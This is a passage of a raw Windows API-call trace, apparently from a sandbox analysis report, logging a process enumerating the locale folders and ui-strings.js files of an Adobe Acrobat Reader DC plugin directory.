dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0252.026] GetProcessHeap () returned 0xc10000 [0252.026] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.026] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\en-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.040] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.040] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.040] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.040] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.041] GetProcessHeap () returned 0xc10000 [0252.041] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.041] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0252.041] GetProcessHeap () returned 0xc10000 [0252.041] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.041] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.042] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.042] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.042] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.042] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.043] GetProcessHeap () returned 0xc10000 [0252.043] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.043] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0252.043] GetProcessHeap () returned 0xc10000 [0252.043] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\en-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0252.050] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.050] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.051] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.051] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0252.051] GetProcessHeap () returned 0xc10000 [0252.051] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.051] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0252.052] GetProcessHeap () returned 0xc10000 [0252.052] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0252.052] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.269] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x521, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.270] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x521, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.270] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0252.270] GetProcessHeap () returned 0xc10000 [0252.270] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.270] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0252.270] GetProcessHeap () returned 0xc10000 [0252.270] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.270] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\eu-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.272] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.272] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.272] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.272] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.273] GetProcessHeap () returned 0xc10000 [0252.273] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.273] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0252.273] GetProcessHeap () returned 0xc10000 [0252.273] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.275] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.275] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.275] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.275] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.275] GetProcessHeap () returned 0xc10000 [0252.276] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.276] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0252.276] GetProcessHeap () returned 0xc10000 [0252.276] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.276] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.277] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.277] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.277] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.277] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.278] GetProcessHeap () returned 0xc10000 [0252.278] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.278] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0252.278] GetProcessHeap () returned 0xc10000 [0252.278] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.278] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.279] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.279] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.280] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.280] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.280] GetProcessHeap () returned 0xc10000 [0252.280] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.280] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, 